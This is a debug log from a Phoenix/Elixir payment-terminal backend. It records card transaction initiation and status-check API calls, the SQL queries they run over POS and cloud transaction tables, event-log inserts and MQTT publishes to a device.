[Thu Sep  3 10:01:52.865000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:41846] Sent 200 in 24ms
[Thu Sep  3 10:02:10.041000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:36616] POST /api/device/status
[Thu Sep  3 10:02:10.041000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:36616] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:02:10.042000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36616] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:02:10.042000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36616] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:02:10.057000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36616] QUERY OK source="pos_transaction" db=14.6ms queue=0.6ms idle=1238.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:02:10.059000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36616] QUERY OK source="pos_temp_transaction" db=1.6ms idle=1253.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:02:10.063000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36616] QUERY OK source="pos_failed_transaction" db=3.3ms idle=1255.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:02:10.064000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36616] QUERY OK source="cloud_transaction" db=0.5ms idle=1259.7ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:02:10.064000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:36616] Sent 200 in 23ms
[Thu Sep  3 10:03:33.859000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:57160] POST /api/device/initiate
[Thu Sep  3 10:03:33.859000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:57160] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch206298523881", "externalRefNumber2" => "1099945953", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:03:33.860000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57160] Processing card transaction for reference: ch206298523881
[Thu Sep  3 10:03:33.860000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57160] QUERY OK source="users" db=0.4ms idle=1049.5ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:03:33.862000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57160] QUERY OK source="custom_events" db=0.8ms idle=1050.2ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:03:33.862000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57160] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch206298523881"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 122,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch206298523881",
  external_ref_number_2: "1099945953",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98250623730001"}
}

[Thu Sep  3 10:03:33.862000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57160] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 122,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch206298523881",
    external_ref_number_2: "1099945953",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98250623730001"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch206298523881",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:03:33.862486Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 10:03:33.862000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:57160] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 122, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch206298523881", external_ref_number_2: "1099945953", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch206298523881", transaction_id: nil, date_added: ~U[2026-09-03 10:03:33.862486Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 10:03:33.919000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57160] QUERY OK db=56.2ms idle=1052.1ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 122, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch206298523881", external_ref_number_2: "1099945953", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, "Initiate Card Txn Request", "ch206298523881", ~U[2026-09-03 10:03:33Z], 35, "initiate_card_txn_request", ~N[2026-09-03 10:03:33], ~N[2026-09-03 10:03:33]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:03:33.919000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57160] Successfully created custom event log with ID: 40150
[Thu Sep  3 10:03:33.920000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57160] Handling card transaction:
- Reference: ch206298523881
- Amount: 122
- Params: %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch206298523881", "externalRefNumber2" => "1099945953", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Thu Sep  3 10:03:33.921000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57160] QUERY OK source="users" db=0.4ms queue=0.2ms idle=1109.4ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:03:33.922000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57160] QUERY OK source="custom_events" db=0.8ms idle=553.4ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:03:33.922000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57160] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch206298523881"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788429813,
  device_id: "98250623730001",
  amount: 122
}

[Thu Sep  3 10:03:33.922000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57160] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788429813,
    device_id: "98250623730001",
    amount: 122
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch206298523881",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:03:33.922483Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 10:03:33.922000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:57160] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788429813, device_id: "98250623730001", amount: 122}, event_name: "Response From Device Online Status", refrence_id: "ch206298523881", transaction_id: nil, date_added: ~U[2026-09-03 10:03:33.922483Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 10:03:33.996000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57160] QUERY OK db=72.8ms queue=0.4ms idle=288.3ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788429813, device_id: "98250623730001", amount: 122}, "Response From Device Online Status", "ch206298523881", ~U[2026-09-03 10:03:33Z], 36, "response_from_device_online_status", ~N[2026-09-03 10:03:33], ~N[2026-09-03 10:03:33]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:03:33.996000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57160] Successfully created custom event log with ID: 40151
[Thu Sep  3 10:03:33.997000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57160] Publish payload 98250623730001: "{\"type\":\"card\",\"request_id\":\"ch206298523881\",\"amount\":12200,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 10:03:34.070000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57160] QUERY OK db=69.9ms queue=2.4ms idle=279.3ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "122", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch206298523881", "externalRefNumber2" => "1099945953", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_7cb198ffeee2@mercurypay.in", "98250623730001", "ch206298523881", 4, Decimal.new("122"), %{}, "1", ~N[2026-09-03 10:03:33], ~N[2026-09-03 10:03:33]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 10:03:34.072000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57160] QUERY OK source="users" db=1.5ms idle=260.3ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:03:34.074000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57160] QUERY OK source="custom_events" db=1.5ms idle=262.1ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:03:34.074000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57160] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch206298523881"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788429814,
  qos: 1,
  device_id: "98250623730001",
  amount: 122
}

[Thu Sep  3 10:03:34.075000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57160] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788429814,
    qos: 1,
    device_id: "98250623730001",
    amount: 122
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch206298523881",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:03:34.074956Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 10:03:34.075000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:57160] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788429814, qos: 1, device_id: "98250623730001", amount: 122}, event_name: "Request For Publish Txn", refrence_id: "ch206298523881", transaction_id: nil, date_added: ~U[2026-09-03 10:03:34.074956Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 10:03:34.136000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57160] QUERY OK db=59.1ms queue=1.7ms idle=264.6ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788429814, qos: 1, device_id: "98250623730001", amount: 122}, "Request For Publish Txn", "ch206298523881", ~U[2026-09-03 10:03:34Z], 37, "request_for_publish_txn", ~N[2026-09-03 10:03:34], ~N[2026-09-03 10:03:34]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:03:34.136000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57160] Successfully created custom event log with ID: 40152
[Thu Sep  3 10:03:34.136000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57160] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98250623730001/update with ref: #Reference<0.2525715032.1093926914.153385>
[Thu Sep  3 10:03:34.138000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57160] Published successfully to topic2: ota/pos/12345678/98250623730001/sub with ref: #Reference<0.2525715032.1093926914.153391>
[Thu Sep  3 10:03:34.141000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57160] QUERY OK source="users" db=2.6ms queue=0.1ms idle=278.0ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:03:34.143000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57160] QUERY OK source="custom_events" db=1.1ms queue=0.1ms idle=280.0ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:03:34.143000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57160] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch206298523881"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788429814,
  device_id: "98250623730001",
  amount: 122
}

[Thu Sep  3 10:03:34.143000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57160] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788429814,
    device_id: "98250623730001",
    amount: 122
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch206298523881",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:03:34.143732Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 10:03:34.145000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:57160] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788429814, device_id: "98250623730001", amount: 122}, event_name: "Response From Publish Txn", refrence_id: "ch206298523881", transaction_id: nil, date_added: ~U[2026-09-03 10:03:34.143732Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 10:03:34.218000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57160] QUERY OK db=71.9ms idle=226.6ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788429814, device_id: "98250623730001", amount: 122}, "Response From Publish Txn", "ch206298523881", ~U[2026-09-03 10:03:34Z], 38, "response_from_publish_txn", ~N[2026-09-03 10:03:34], ~N[2026-09-03 10:03:34]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:03:34.218000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:57160] Successfully created custom event log with ID: 40153
[Thu Sep  3 10:03:34.218000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57160] Publish successful to 98250623730001 with ref: #Reference<0.2525715032.1093926914.153391>
[Thu Sep  3 10:03:34.218000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:57160] Sent 200 in 359ms
[Thu Sep  3 10:03:40.297000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:50056] POST /api/device/status
[Thu Sep  3 10:03:40.297000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:50056] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:03:40.297000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50056] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:03:40.298000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:50056] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:03:40.312000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50056] QUERY OK source="pos_transaction" db=13.8ms idle=486.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:03:40.313000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50056] QUERY OK source="pos_temp_transaction" db=0.5ms idle=500.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:03:40.316000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:50056] QUERY OK source="pos_failed_transaction" db=2.4ms queue=0.1ms idle=501.6ms
